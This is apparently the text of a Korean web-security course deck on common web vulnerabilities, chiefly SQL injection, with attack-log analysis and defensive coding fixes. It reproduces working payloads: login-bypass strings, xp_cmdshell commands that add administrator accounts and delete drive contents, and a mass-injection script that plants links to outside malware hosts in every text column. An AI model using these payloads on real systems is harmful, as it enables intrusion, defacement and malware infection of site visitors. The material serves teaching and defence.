Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS 6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출 9. 인증이 없는 관리자 페이지 10. 쿠키변조 및 재사용 11. 파라미터 변조를 통한 시스템 명령어 사용 12. 자바스크립트 우회 13. HTTP 메소드 14. 불필요한 파일 노출 15. 에러 노출 16. 검색엔진
학습 포인트 1. 웹 취약점 종류 및 원인에 대한 이해 2. 취약점별 공격로그의 이해 3. 취약점별 대책(코딩 및 설정)
3. 취약점 분류 사이트 : www.owasp.org 웹 취약점을 10가지 형태로 분류하고 정의하며, 웹 보안에 관심 있는 기업 및 개인이 함께 공통된 프로젝트 수행
3. 취약점 분류 구분 점검 항목 설 명 1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격 2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격 3 파일 업로드 ASP, PHP, JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격 4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격 5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격 6 관리자 페이지 노출 master.jsp, admin.php 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격 7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격 8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 절차(관리자 글 작성 제한 등)를 우회하는 공격 9 사용자 측 스크립트 변조 자바스크립트 및 히든필드 변조를 통해 인증 권한을 도용하는 행위 10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격 11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우 12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출 14 HTTP Method 정보 노출 PUT, DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격
4. SQL Injection – 데이터베이스의 이해(1) 데이터 : 현실 세계에서 존재하는 여러 가지 정보 예) 친구 이름, 주소 등 데이터베이스 : 데이터를 효율적으로 관리하기 위해 분리한 정보 데이터베이스 … 테이블 이름 주소 .. 제품명 가격 .. 사번 직책 .. 필드
4. SQL Injection – 데이터베이스의 이해(2) 데이터베이스의 테이블을 정의하고 작성한다. DLL 언어 : create(생성), alter(변경), drop(삭제) 데이터베이스를 추가, 갱신, 삭제 및 검색을 수행한다. DML 언어 : select, insert, update, delete 데이터베이스 보안과 데이터의 연속성을 유지한다. DCL 언어 : grant(권한할당), revoke(권한제거), commit(데이터변경승인) , rollback(데이터변경취소)
4. SQL Injection – 데이터베이스의 이해(3) Select * from 상품 ; Select * from 상품 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품 상품번호 상품이름 가격 1 Mp3 100,000 2 notebook 1000,000 ..
4. SQL Injection – 데이터베이스의 이해(4) insert into 상품 (상품번호, 상품이름, 가격) Values(100, ‘LCD’, ‘3000000’); 테이블 이름 : 상품 상품번호 상품이름 가격 1 mp3 100,000 2 notebook 1,000,000 .. 100 LCD 3,000,000
4. SQL Injection – 데이터베이스의 이해(5) update 상품 set 가격 = 50000 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품 상품번호 상품이름 가격 1 mp3 50000 2 notebook 1,000,000 .. 100 LCD 3,000,000
4. SQL Injection – 데이터베이스의 이해(6) Select * from 직장인 Union Select * from 학생; 두개의 조건 일치 ( 조건 : 두개의 데이터형이 동일 ) 직장인 학생
4. SQL Injection – 데이터베이스의 이해(7) select 지역이름, AVG(점포면적) from 지역 -------------- ① group by 지역이름 -------------- ② having AVG(점포면적) < 700; -------------- ③ ① 지점명 지역이름 점포면적 신사점 지역1 500 도곡점 지역2 560 … ③ 지역이름 AVG(점포면적) 지역1 670 지역3 400 ② 지역이름 AVG(점포면적) 지역1 670 지역2 890 지역3 400
4. SQL Injection – 데이터베이스의 이해(8) 숫자 형태에만 적용 가능 select sum(면적) 면적합계 from 지점; 테이블이름 : 지점 지점명 면적 직원수 신사점 800 20 도곡점 600 30 … 면적합계 : 32000
4. SQL Injection – 데이터베이스의 이해(8) select sum(지점명) 면적합계 from 지점; 테이블이름 : 지점 지점명 면적 직원수 신사점 800 20 도곡점 600 30 … 에러가 발생 ORA-01722 수 값이 유효하지 않습니다.
4. SQL Injection – 종류 구분 ① SQL Injection – 논리적 에러 예. SELECT * FROM user_data WHERE last_name = 'Your Name' or '1=1‘ ② Blind SQL Injection – 쿼리 결과 여부 예1. http://www.xxx.com/page.php?id=5 and 1=1 예2. http://www.xxx.com/page.php?id=5 and 1=2 ③ Union SQL Injection – 이중 쿼리 예1. http://www.site.com/news.php?id=5 union all select top 1 table_name from information_schema.tables ④ Stored Procedure SQL Injection - 저장프로시저 예1. http://www.site.com/member/checkid.asp?id= ';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; 12
4. SQL Injection – 원인은 무엇인가? System Object 권한제어 없이 기본 값 사용 1 ) exec master..xp_cmdshell 'net user administrator password' 디폴트 유저인 administrator의 패스워드 변경 2 ) exec master..xp_cmdshell 'dir c:\' C 드라이브 정보 보기 3 ) exec master..xp_cmdshell 'del c:\ /q/s' C 드라이브 파일 삭제 DB 계정을 관리자 계정(sa) 으로 일괄적 사용 1) bbs/bbs.asp?id=1
$id=admin $passwd= 1’ or ‘1=1 관리자로 로그인 성공 4. SQL Injection 기본 방법 이해 $id=admin $passwd= 1’ or ‘1=1 admin ********** 관리자로 로그인 성공 $strLoginSQL = "Select * from member where id = ‘admin' and password = ‘1’ or ‘1 = 1'"; $strLoginSQL = "Select * from member where id = '$strUserID' and password = '$strUserPass'"; FALSE TRUE TRUE
4. SQL Injection 기본 방법 이해 – 실습(1) ① ② ③
4. SQL Injection 기본 방법 이해 – 실습(2)
4. SQL Injection 기본 방법 이해 – 실습(3)
4. SQL Injection 기본 방법 이해 – 실습(4)
4. SQL Injection 기본 방법 이해 – 실습(5) 계정 ‘-- 암호 -- 에러정보 Uname=%27--&Pass=%27--&submitLogin=Submit 2) 계정 'or 1=1 암호 'or 1=1 'UserName = ''or 1=1' and Pass = ''or 1=1'‘ Quiz . 1번과 2번 정보를 바탕으로 어떤 값을 넣어야 하는가?
4. SQL Injection 공격 로그의 특징 ■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러 ■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러 - 응답코드 500 : Internal Server Error ■ 운영과 관련 없는 형태의 질의 요청(시스템 명령어 및 특수문자 포함 등) - 특수문자 : ‘ ; xp_cmdshell 등
4. SQL Injection 공격 로그 – 첫 번째 1. Number=2002-002412'|63|80040e14|'2002-002412''_문자열_앞에_닫히지_않은_인용_부호가_있습니다. 2. Number=2002-002412' and user=1 and ''='|63|80040e07|nvarchar_값_'team'을(를)_int_데이터_형식의_열로_변환 하는_중_구문_오류가_발생했습니다. 500 3. Number=2002-002412' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 4. /Report.asp Number=2002-002412' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 5. Number=2002-002412’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 6. Number=2002-002412’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^<iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20
4. SQL Injection 공격 로그 – 첫 번째 데이터타입불일치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예1) ' and user=1 and ''=‘ (예2) char(124)+user+char(124)=0 and '%'=‘ ( char(124)는 파이프를 의미함 |user|=0 ) 명령어 역할 User DB 사용자 이름 user_name(1) DB 사용자를 순차적으로 반환 current_name 현재 로그인한 DB 사용자 이름 session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모든 사용자 정보에 대해서 확인 sys.syslogins 모든 사용자의 로그인한 히스토리 정보 sp_helplogins 로그인 정보에 대해서 확인 sys.sql_logins SQL 로그인 정보. ID, 패스워드 해쉬값 xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인 has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인
4. SQL Injection 공격 로그 – 첫 번째 확인한 계정의 서버역할이 sysadmin 인지 요청함 ' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''=‘ IS_SRVROLEMEMBER(서버역할) sysadmin 관리자권한(모든권한수행) serveradmin 서버차원의 설정을 구성 setupadmin 연결된 서버 추가 및 제거 securityadmin 서버 로그인 관리 processadmin SQL 인스턴스에서 실행중인 프로스세 관리
4. SQL Injection 공격 로그– 첫 번째 확인한 계정의 DB역할이 db_owner 인지 요청함 ' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''=' IS_MEMBER(DB역할) db_owner 모든 db역할 수행 db_accessadmin db내 사용자 추가 및 삭제 db_datareader 사용자테이블에서 모든 데이터 보기
4. SQL Injection 공격 로그 – 첫 번째 마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 ’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll‘ * MS SQL의 기본 DB 구성 요소 Master db : 로그인 계정, 환경설정, 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요) Msdb : 작업정의, 연산자, 수정작업과 같은 정보 저장 Model : 참조 db이며, 사용자를 이를 바탕으로 db 작성 Tempdb : 임시 테이블 및 임시 저장 프로시저 저장 * 저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합, 특정 작업을 일괄 처리하기위한 용도로 사용
4. SQL Injection 공격 로그 – 첫 번째 생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(<iframe>…..) 및 소스 중간 삽입 ’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^ <iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20 악성프로그램(다운로드) 사용자 <iframe src=http://xxx.xxx>
4. SQL Injection 공격 로그 – 두 번째 2007-01-05 15:50:54 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; 2007-01-05 15:51:42 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CR.....mdshell%20'net%20user%203800hk%203800hk%20/add'; --- 중략 --- 2007-01-05 15:51:59 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CRE.....shell%20'net%20localgroup%20administrators%203800hk%20/add'; --- 중략 -- ');exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'-- 200 확장형 저장 프로시저 (xp_cmdshell)제거 - dropextendedproc ;exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'--
4. SQL Injection 공격 로그 – 세 번째 /Test/Test.asp Code= Bank' &Number=7 &Ref=7' &Page=1&Sear=Writer&Key= |24|80040e14| '_SET_Visited=Visited+1_WHERE_Number_=_7'_문자열_앞에_닫히지_ 않은_인용_부호가_있습니다. 500 === 초기형태로 특수문자(‘)후 에러 노출 여부 확인 목적 /Report.asp Number=2002-002412' and user=1 and ''=‘ |63|80040e07|nvarchar_값_'blabla'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === 에러 노출을 이용한 db 계정 획득 목적 200X-09-10 06:24:49 /Report.asp Number=2002-002412' And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1 And ''=‘ |63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ === db계정(blabla)가 sysadmin 인지를 확인
4. SQL Injection 공격 로그 – 세 번째 IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) = IS_SRVROLEMEMBER(sysadmin)
4. SQL Injection 공격 로그 – 세 번째 /Report.asp Number=2002-002412' And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 === db_owner인지 확인 요청 Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) = Cast(IS_MEMBER(db_owner)
4. SQL Injection 공격 로그 – 세 번째 200X-09-10 06:24:52 /Report.asp Number=2002-002412' And db_name()+char(124)=0 And ''='|63|80040e07|nvarchar_값_'blabla|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 Microsoft+URL+Control+-+6.00.8862 db_name() 함수 : 데이터베이스 이름 제공
4. SQL Injection 공격 로그 – 세 번째 /Report.asp Number=2002-002412';DROP TABLE NB_TreeList_Tmp;CREATE TABLE NB_TreeList_Tmp(subdirectory nvarchar(256) NULL,depth tinyint NULL,[file] bit NULL)-- 200 Microsoft+URL+Control+-+6.00.8862 테이블 삭제 ( drop nb_treelist_tmp ) 테이블 생성 ( create table nb_treelist_tmp … )
4. SQL Injection 공격 로그 – 세 번째 200X-09-10 06:25:22 /Report.asp Number=2002-002412';Insert NB_TreeList_Tmp exec master..xp_dirtree 'C:\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862 === 디렉토리 정보 테이블에 삽입 exec master..xp_dirtree 'C:\‘ 1
4. SQL Injection 공격 로그 – 세 번째 200X-09-10 06:25:22 /Report.asp Number=2002-002412' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 1 [subdirectory],[file] From NB_TreeList_Tmp ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0 And 'fALSE'<>'|63|80040e07|varchar_값_'ASFRoot|0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 200X-09-10 06:25:32 /Report.asp Number=2002-002412' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 21 [subdirectory],[file] From NB_TreeList_Tmp ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0 And 'fALSE'<>'|63|80040e07|varchar_값_'WS_FTP.LOG|1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500
4. SQL Injection 공격 로그 – 세 번째 SQL> SELECT rowid, rownum, deptno, dname from dept; ROWID ROWNUM DEPTNO DNAME ------------------ ---------- ---------- -------------- AAA 1 10 ACCOUNTING AAB 2 20 RESEARCH AAC 3 30 SALES AAD 4 40 OPERATIONS SQL> SELECT ENAME, SAL, ROWNUM FROM(SELECT * FROM EMP ORDER BY SAL DESC); ENAME SAL ROWNUM ---------- ---------- ---------- ABBK 7000 1 KING 5000 2 FORD 3000 3 SCOTT 3000 4 JONES 2975 5 BLAKE 2850 6 CLARK 2450 7 ALLEN 1600 8
4. SQL Injection 공격 로그 – 세 번째 200X-09-10 06:33:17 /Report.asp Number=2002-002412';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x6C006F00760065002E00620061006B00 backup database @a to disk=@s;-- 200 Declare : 선언하는 함수 @a를 sysname ( @a=db_name() 는 데이터베이스이름을 @a로 할당) - @s를 nvarchar(4000)형태로 4000바이트의 공간 할당하며, 16진수형태이름을 할당함, 즉 love.bak라는 이름을 @s로 별칭줌 @s=0x6C006F00760065002E00620061006B00 - Backup database @a(db_name()) to disk=@s 참고) 백업 명령: backup database 데이터베이스이름 to 백업장치
4. SQL Injection 공격 로그 – 네 번째 200X-XX-13 14:15:45 x.x.x.x GET /totalboards/bbs/view.asp board_id=normal93&number=2'%20update%20normal%20set%20subject%20=%20'%3CB%3E!nf3rN.4lL%3C/b%3E';--|402|800a000d|형식이_일치하지_않습니다.:_'cint' Update normal(테이블이름) set subject(필드) = '<h2>!nf3rN.4lL Was Here</2>‘(내용); 참고)update 테이블이름 set 필드이름 = ‘변경내용’ Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까?
4. SQL Injection 공격 로그 – 네 번째 Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까? 에러 ‘having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id
4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id 그렇다면 다른 필드 값은 어떻게? ‘group by user_id having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id user_name
4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id user_name user_id password creation_date 그렇다면 필드의 데이터 타입은? 'UNION select sum(user_id) from FSB_USERS having 1=1-- 참고 : sum은 숫자 타입에만 사용 가능 The sum or average aggregate operation cannot take a varchar data type as an argument.
4. SQL Injection 공격 로그 – 네 번째 결론 : 결국 데이터베이스 정보(테이블 및 필드 이름, 필드 타입)확보를 통해 임의 데이터 변조가 가능함 테이블 이름 : FSB_USERS 필드 : user_id ( integer ) user_name ( varchar ) user_id ( varchar ) password ( varchar ) creation_date ( datetime ) 'insert into FSB_USERS values (user_id, ‘user_name', ‘user_id', ‘password', GETDATE())--
4. SQL Injection 공격 로그 – 다섯 번째 Mass SQL Injection : 데이터베이스의 정보를 악용하여 악성코드 링크를 특정 테이블의 필드 혹은 전체 테이블의 필드(게시판 등)에 삽입하여 접속하는 사용자를 악성코드에 감염시키는 대량 공격 기법 http://xxx.com 데이터베이스 사용자 … 테이블 게시판 사용자 우편번호 필드 <script src=http://xxx.com>
4. SQL Injection 공격 로그 – 다섯 번째 GET /home/site_content_3.asp s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C006100중간생략…00200040006D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);-- declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);
4. SQL Injection 공격 로그 – 다섯 번째 Sysobjects(데이터베이스에서 만들어진 각 개체(제약 조건, 기본값, 로그, 규칙, 저장 프로시저 등)에 대해 한 행을 포함합니다. syscolumns(모든 테이블과 뷰에 있는 각 칼럼 정보 제공), systypes(데이터베이스에 있는 모든 시스템 데이터 타입과 정의 데이터 타입을 제공) Sysobjects 정보
4. SQL Injection 공격 로그 – 다섯 번째 sysobjects의 type 필드 C = CHECK 제약 조건 D = 기본값 또는 DEFAULT 제약 조건 F = FOREIGN KEY 제약 조건 FN = 스칼라 함수 IF = 인라인 테이블 함수 K = PRIMARY KEY 또는 UNIQUE 제약 조건 L = 로그 P = 저장 프로시저 R = 규칙 RF = 복제 필터 저장 프로시저 S = 시스템 테이블 TF = 테이블 함수 TR = 트리거 U = 사용자 테이블 V = 뷰 X = 확장 저장 프로시저 Quiz. 어떤 의미인가? select * from sysobjects where type = 'U';
4. SQL Injection 공격 로그 – 다섯 번째 Syscolumns, systypes 정보
4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m); Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) dbo.sysobjects a ( sysobjects를 a 로 별칭 ) dbo.syscolumns b ( syscolumn를 b 로 별칭 ) dbo.systypes c ( systypes를 c 로 별칭 ) where a.id=b.id and a.xtype='U‘ and b.xtype=c.xtype and c.name='varchar'; 테이블정보 사용자테이블 테이블 필드 데이터필드 중 varchar
4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m); Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) UPDATE 테이블명 SET 속성명 = 데이터[, 속성명 = 데이터, ..] WHERE 조건; 예) <사원> 테이블에서 홍길동의 주소를 '이월면' 으로 갱신하는 SQL문 UPDATE 사원 SET 주소='이월면' WHERE 이름='홍길동';‘ update['+a.name+']set['+b.name+']= rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m); reverse()함수 - 문자열을 역순으로 출력 substring()함수 – 문자열의 시작위치를 지정하고, 해당 위치부터 길이를 출력 형식: SUBSTRING(문자열, 시작위치, 길이) (예) SELECT Substring('abcde',2,3) 결과>> bcd patindex()함수 - 문자열이 시작되는 위치 알려줌 쿼리 실행 전 게시판 글 변조된 형태 : 게시판;<script>; Reverse()함수적용: ;<tpircs>;판시게 Substring()함수적용 : 기존 게시판 글 일부 손실을 방지하기 위해 ;부터 시작해서 8000바이트 정도를 출력하고 다시 이를 reverse하여 원래의 형태로 변경함 Reverse()함수적용: 게시판;<script>;
4. SQL Injection 공격 로그 – 다섯 번째 감염된 사이트에 대한 Google 검색 site:co.kr 1.js
4. SQL Injection 공격 대책 ASP. Replace()함수를 사용하여 특수문자(‘) 등을 일반문자열로 변환 (예) Prodid = replace(prodid, "'", "''“)
4. SQL Injection 공격 대책 PHP. addslashes() 함수 사용 특수문자 필터링 (예) $query=sprintf("SELECT id, password, username FROM user_table WHERE id='%s';“ , addslashes($id));
4. SQL Injection 공격 대책 JSP. preparedStatement 를 사용하면 쿼리시의 value에 특수문자(‘)는 입력값 자체로 처리되어 SQL Injection을 차단함
4. SQL Injection 공격 대책 ASP(MS SQL)사이트에서는 DB연결 파일에 적용하여 전체 페이지에 적용하지 않고 필터링 효과를 제공 받을 수 있다. sql_pattern = Array("-", ";", "/*", "*/", "@@", "@", "char", "nchar", "varchar", "nvarchar", "alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end", "exec","execute", "fetch", "insert", "kill", "open","select", "sys", "sysobjects", "syscolumns","table", "update", "<script", "</script>", "'") ( 공격패턴 정의 ) for each item in Request.QueryString ( GET방식 입력 값 ) for array_counter = lbound(sql_pattern) to ubound(sql_pattern) ( sql_pattern 배열크기계산 ) item_position1 = InStr(lcase(Request(item)), sql_pattern(array_counter)) Instr()함수는 들어온 문자열을 검사합니다. lcase()함수는 대문자를 소문자로 무조건 변환 if (item_position1 > 0) or (item_position2 > 0) then ( 공격문자열이 있는 경우 ) Response.Write("악의적인 문자열이 포함되어 있습니다.“)
4. SQL Injection 공격 대책 자바 스크립트를 이용한 사용자 입력 값 필터링
4. SQL Injection 공격 대책 function h_check(Objectname) { var intErr var strValue = Objectname// var strValue = Objectname.value var retCode = 0 for (i = 0; i < strValue.length; i++) { var retCode = strValue.charCodeAt(i) var retChar = strValue.substr(i,1).toUpperCase() retCode = parseInt(retCode) if ((retChar < "0" || retChar > "9") && retChar != '-' && retChar !='_' && (retChar < "A" || retChar > "Z") && ((retCode > 255) ||retChar=="'"||(retCode < 0))) { intErr = -1; break; } }